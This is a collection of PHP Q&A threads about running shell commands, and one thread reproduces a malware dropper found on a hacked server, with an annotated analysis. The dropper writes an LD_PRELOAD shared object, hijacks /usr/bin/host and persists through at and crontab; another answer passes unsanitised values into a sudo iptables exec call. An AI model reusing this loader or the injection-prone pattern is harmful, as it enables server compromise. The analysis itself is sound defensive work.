I need to run a SQL file (to create a user) from within my PHP. I know how this is done:
$commands = file_get_contents("sql/create_usr.sql")
$commands = explode(";", $commands);
foreach($commands as $command){
if($command){
$success += (#mysql_query($command)==false ? 0 : 1);
$total += 1;
}
}
How do I run the SQL file with specific parameters (e.g. username, password) from a PHP file.
Thanks in advance.
You might want to use a simple shell execution for this, instead of splitting the file with PHP:
shell_exec( 'mysql DATABASE -u USERNAME -pPASSWORD < sql/create_usr.sql' );
To test, if you can run a SQL-Query using shell_exec you might want to try this code:
echo shell_exec( 'mysql DATABASE -u USERAME -pPASSWORD -e "SELECT DATABASE();" 2>&1' );
Read your file line by line and the execute the sentense
$handle = fopen("inputfile.txt", "r");
if ($handle) {
while (($line = fgets($handle)) !== false) {
// process the line read.
}
} else {
// error opening the file.
}
fclose($handle);
Related
I'm writing a wrapper for mysqldump and want to show the output nicely in a PHP CLI application.
I'm attempting to run mysqldump -v using popen so that I can get the verbose output and display progress indicators to the user. However no output is returned (by default it gets logged to the screen via stdErr).
I tried adding 2>&1 to the command to push the verbose output from stdErr to stdOut, but fread still doesn't get any output even though the output nolonger goes to the screen via stdErr.
$cmd = "mysqldump -uroot -proot -v dbname 2>&1 | mysql -uroot -proot dbname2";
$handle = popen($cmd, "r");
$buffer = "";
while ($handle && !feof($handle)){
$output = fread($handle, 100);
$buffer .= $output;
echo sprintf("Buffer: %s\n", $buffer);
}
pclose($handle);
Should I use something else instead of popen? Or am I simply incorrectly redirecting the output?
You seem to actually pipe the mysqldump data into mysql, in which case it might be a bad idea to include error messages into the pipe.
Of course, in this scenario, you cannot capture the mysqldump's output.
You should use the tee command:
mysqldump -uroot -proot -v dbname | tee /tmp/output | mysql -uroot -proot dbname2
This way, you can have the output both in pipe for mysql and /tmp/output.
In such a way you can then fopen /tmp/output for results.
Please note that you might not have the possible errors in the output, as mysql would not be happy seeing them later down the pipe.
I figured it out, without having to use a file as a stream buffer.
/**
* PROCESS
*
* Process the command
*
* #param int $buffer The size of the buffer
* #param int $pipe The pipe to subscribe to (0=stdIn, 1=stdOut, 2=stdErr)
*
* #return bool Success or not
*/
public function process($buffer=10, $pipe=1) {
$handle = proc_open(
$this->command,
[
["pipe","r"],
["pipe","w"],
["pipe","w"]
],
$pipes
);
if (!is_resource($handle)) {
return false;
}
$output = "";
$buffer = "";
$hasLineCallbacks = count($this->onNewLine);
while ($buffer = fread($pipes[$pipe], 10)) {
$output .= $buffer;
if (preg_match("/[\r\n]/", $output)) {
$segments = preg_split("/[\r\n]+/", $output);
while (count($segments) > 1) {
$line = array_shift($segments);
if (!$hasLineCallbacks) { continue; }
foreach ($this->onNewLine as $callback) {
if (!$callback["pattern"] || preg_match($callback["pattern"], $line)) {
call_user_func($callback["callback"], $line);
}
}
}
$output = array_shift($segments);
}
}
proc_close($handle);
return true;
}
I'm basically making Background class to run a terminal command and pipe the output to callback functions. It obviously still has a long way to go though.
Thanks for your help, #Victor
So I have been hacked a while ago and now I have a weird PHP file in my file manager. This is the content of it:
<?php
#touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = #fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
#system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x ... ETC ...";
$so64 = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x78\x13\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ ...ETC...";
$arch = 64;
if (intval("9223372036854775807") == 2147483647)
$arch = 32;
$so = $arch == 32 ? $so32 : $so64;
$f = fopen("/usr/bin/host", "rb");
if ($f) {
$n = unpack("C*", fread($f, 8));
$so[7] = sprintf("%c", $n[8]);
fclose($f);
}
$n = file_put_contents("./jquery.so", $so);
$AU=#$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
#file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './jquery.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./jquery.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
#chmod("1.sh", 0777);
#system("at now -f 1.sh", $ret);
if ($ret == 0) {
for ($i = 0; $i < 5; $i++) {
if (! #file_exists("1.sh")) {
print "AT success\n";
exit(0);
}
sleep(1);
}
}
#system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
for ($i = 0; $i < 62; $i++) {
if (! #file_exists("1.sh")) {
print "CRONTAB success\n";
exit(0);
}
sleep(1);
}
}
#system("./1.sh");
#unlink("1.sh");
?>
Ofcourse, I delete it. But what did it? Are there more files infected?
I understand that it is checking if the system is a 32bit system or 64bit, then it creates 1.sh and executes it but what then?
Full code: http://pastebin.com/hejkuQtV
I tried to analyze the code. Have a look at this and check my comments regarding the shell script "1.sh". In my opinion deleting the PHP script would not be sufficient.
<?php
//probably the attacker wants to check that the script works.
#touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
//redefine file_put_contents if doesn't exist
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = #fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
//kill all running instances of host command. "host" command is used for DNS lookups among other things.
#system("killall -9 ".basename("/usr/bin/host"));
//32 bit
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x ... ETC ...";
//64 bit
$so64 = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x78\x13\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ ...ETC...";
$arch = 64;
//decide on the architecture based on the value of max int
if (intval("9223372036854775807") == 2147483647)
$arch = 32;
//the hex based on architecture. "so" probably contains a function() used by "host". The attacker is replacing it later before running "host" command.
$so = $arch == 32 ? $so32 : $so64;
//read 8 bytes from "host" binary file, and unpack it as an unsigned char.
$f = fopen("/usr/bin/host", "rb");
if ($f) {
//n is an array of unsigned chars. Each array item can be (0-255)
$n = unpack("C*", fread($f, 8));
//convert to ascii, and replace the 7th character in the string with a value obtained from "hosts" binary file.
//This vale from "hosts" will be specific to current server/environment - set during compilation/installation.
//NOTE: The contents of "so" string, will be written to a new file "jquery.so".
$so[7] = sprintf("%c", $n[8]);
fclose($f);
}
//the shared object
$n = file_put_contents("./jquery.so", $so);
//The shared object "jquery.so" uses an environment variable named "AU". It's more clear later.
$AU=#$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
//should give "host"
$HBN=basename("/usr/bin/host");
//current dir
$SCP=getcwd();
//Examining the following line, here's what it writes to 1.sh
#file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './jquery.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./jquery.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
/*
* #!/bin/sh
* cd '/path/to/1.sh'
* if [ -f './jquery.so' ];then
* killall -9 host;
* export AU='MYSERVER.COM/THE/REQUEST/URI' //this will be referenced in "jquery.so"
* export LD_PRELOAD=./jquery.so //load the shared object before executing "host" command. THIS IS THE CORE OF THE ATTACK. Load the attacker's shared object(which contains his function, lets call it "xyz") before executing "host" command.
* /usr/bin/host //execute. At that point, if "host" is making use of function "xyz", it would have been replaced by malicious "xyz" from "jquery.so" And since you don't know what the attacker function is actually doing, you should assume YOUR SYSTEM IS COMPROMISED.
* unset LD_PRELOAD
* crontab -l|grep -v '1\.sh'|grep -v crontab|crontab //not sure about this.
* fi
* rm 1.sh //remove
* exit 0
*/
#chmod("1.sh", 0777);
#system("at now -f 1.sh", $ret); //execute 1.sh. It will be deleted once it's executed as per the "rm" statement.
if ($ret == 0) {
//try for 5 seconds until the file is deleted (hence executed). If so, then all good.
for ($i = 0; $i < 5; $i++) {
if (! #file_exists("1.sh")) {
print "AT success\n";
exit(0);
}
sleep(1);
}
}
//another attempt to execute the file in case the above failed.
#system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
//keep trying for 60 seconds until the file is deleted (as per the crontab setup.)
for ($i = 0; $i < 62; $i++) {
if (! #file_exists("1.sh")) {
print "CRONTAB success\n";
exit(0);
}
sleep(1);
}
}
//the last resort if the previous execute attempts didn't work.
#system("./1.sh");
#unlink("1.sh");
?>
Here's a little more info. First, we can use this code to generate the ".so" file.
<?php
//build the attack string (this contains the hex representation of the attacker complied/linked program)
$so32="\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00.....";
//print it. This will output the binary
echo $so32;
?>
//run
php hack.php > jquery.so
At this point, we have the same shared object that the attacker loaded before running "host". Using "strings" command:
$ strings ./jquery.so
Output:
write
unlink
pthread_mutex_lock
pthread_mutex_unlock
gettimeofday
free
realloc
strdup
read
getaddrinfo
freeaddrinfo
socket
setsockopt
connect
malloc
mmap
munmap
usleep
strcmp
dlclose
pthread_join
__errno_location
strncmp
sprintf
strcpy
time
vsnprintf
strcat
strstr
atoi
strchr
dlopen
dlsym
pthread_create
srandom
lseek
ftruncate
umask
setsid
chroot
_exit
signal
fork
dladdr
realpath
getpid
execl
wait
getsockname
getenv
geteuid
unsetenv
popen
fgets
fclose
QQRW
1c2#N
v[uq
M!k(q.%
jc[Sj
F,%s,%x
R,%d,%d,%d,%s,%s,
P,%u,%u,%u,%u,%u
POST %s HTTP/1.0
Host: %s
Pragma: 1337
Content-Length: %d
core
%s/%s
|$$$}rstuvwxyz{$$$$$$$>?#ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnopq
/dev/null
%s/%c.%d
(null)
ROOT
LD_PRELOAD
/usr/bin/uname -a
/tmp
As you can see, his hack seems to be using lots of functions including him doing a POST request somewhere. It's not possible of course to figure it out from the above but gives you some clue.
If you want to take this further, you can look into and ELF decompiler. But I doubt that you will be able to reach anything conclusive. I am not an expert, but my advise is to keep on monitoring your network activity for anything out of the ordinary.
The "file" command gives you a bit of information about the file - hence ELF decomplier.
$ file ./jquery..so
Output:
./jquery.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped
I'm trying to execute a command on a local Debian server. The code is as following;
if (isset($INPUTdifference)) {
$counter = count($INPUTdifference);
for ($i = 0; $i < $counter; $i++) {
$pkts = $INPUTdifference[$i]["pkts"];
$bytes = $INPUTdifference[$i]["bytes"];
$target = $INPUTdifference[$i]["target"]; // = -j
$prot = $INPUTdifference[$i]["prot"]; // = -p
$opt = $INPUTdifference[$i]["opt"];
$in = $INPUTdifference[$i]["in"]; // = -i
$out = $INPUTdifference[$i]["out"]; // = -o
$source = $INPUTdifference[$i]["source"]; // = -s
$destination = $INPUTdifference[$i]["destination"]; // -d
//Filter results
$badOpt;
if (strcmp($opt, $badOpt)) {
$opt = "all";
return $opt;
}
// Execute command with parameters acquired from array
exec("sudo /sbin/iptables -A INPUT -j $target -p $prot -i $in -o $out -s $source -d $destination ");
echo 'complete yo';
}
}
As you can see, I'm trying to use values from the Array into my exec call. The values are all tested and get parsed correctly.
I try to execute the command, and it doesn't give me any feedback/results on the server. At first it was cussing about how I didn't get a parameter right, but I fixed that. So it -is- getting executed on the server. That, I guess, narrows it down to the syntax itself... am I missing something here?
You might want to put direct /path/to/sudo instead of just sudo. exec don't appreciate sometimes to find out the path by itself.
I am building a way of importing .SQL files into a MySQL database from PHP. This is used for executing batches of queries. The issue I am having is error reporting.
$command = "mysql -u $dbuser --password='$dbpassword' --host='$sqlhost' $dbname < $file";
exec($command, $output);
This is essentially how I am importing my .sql file into my database. The issue is that I have no way of knowing if any errors occurred within the PHP script executing this command. Successful imports are entirely indistinguishable from a failure.
I have tried:
Using PHP's sql error reporting functions.
Adding the verbose argument to the command and examining the output. It simply returns the contents of the .sql file and that is all.
Setting errors to a user variable within the .sql file and querying it from the PHP script.
I hope I am not forced to write the errors into a temporary table. Is there a better way?
UPDATE:
If possible, it would be very preferable if I could determine WHAT errors occurred, not simply IF one occurred.
$command = "mysql -u $dbuser --password='$dbpassword' --host='$sqlhost' $dbname"
. " < $file 2>&1";
exec($command, $output);
The error message you're looking for is probably printed to stderr rather than stdout. 2>&1 causes stderr to be included in stdout, and as a result, also included in $output.
Even better, use proc_open instead of exec, which gives you far more control over the process, including separate stdout and stderr pipes.
Try using shell_exec
$output = shell_exec( "mysql -u $dbuser --password='$dbpassword' --host='$sqlhost' $dbname < $file" );
// parse $output here for errors
From the manual:
shell_exec — Execute command via shell and return the complete output as a string
Note:
This function is disabled when PHP is running in safe mode.
EDIT: Full solution:
what you need to do is grab STDERR and discard STDOUT. Do this by adding '2>&1 1> /dev/null' to the end of your command.
$output = shell_exec( "mysql -u $dbuser --password='$dbpassword' --host='$sqlhost' $dbname < $file 2>&1 1> /dev/null" );
$lines = explode( PHP_EOL, $output );
$errors = array();
foreach( $lines as $line )
{
if ( strtolower( substr( $line, 0, 5 ) ) == 'error' )
{
$errors[] = $line;
}
}
if ( count( $errors ) )
{
echo PHP_EOL . 'Errors occurred during import.';
echo implode( PHP_EOL, $errors );
}
else
{
echo 'No Errors' . PHP_EOL;
}
When issuing a exec, the shell will return a 0 on succes, or a number indicating a failure.
$result = exec( $command, $output );
should do the trick. Check result and handle appropiate.
You have done everything but look at the PHP manual! There is an additional parameter for the exec to return a result
http://php.net/manual/en/function.exec.php
"If the return_var argument is present along with the output argument, then the return status of the executed command will be written to this variable."
exec($command,$output,$result);
if ($result === 0) {
// success
} else {
// failure
}
I'm trying to run a bash script using shell_exec but It doesnt seem to work. (Nothing seems to happen) I'm using nginx and the latest php5-cgi. Heres what the php file looks like:
<?php
$startserver = "./startserver.sh";
$startserver = shell_exec($startserver);
$getprocess = "pidof hlds_amd";
$pid = shell_exec($getprocess);
$fh = fopen('closeserver.sh', 'w');
$command = "kill -9 $pid";
fwrite($fh, $command);
fclose($fh);
$string = "at -f closeserver.sh now + 1 hour";
$closer = shell_exec($string);
?>
and this is what the bash script looks like:
#!/bin/bash
cd /home/kraffs/srcds
./hlds_run -game cstrike -autoupdate +maxplayers 12 +map de_dust2 > hlds.log 2>&1 &
Theres no errors in the phpscript and the file gets created just fine but $startserver doesnt seem to get executed and $pid is empty. Did I miss something in the php file or do I need to change permissions for an user? Thanks for your help.
replace shell_exec, with below function and try again
<?php
function runcmd($EXEC_CMD)
$handle = popen ($EXEC_CMD, 'r');
$output = "";
if ($handle) {
while(! feof ($handle)) {
$read = fgets ($handle);
$output .= $read;
}
pclose($handle);
}
return $output;
}
?>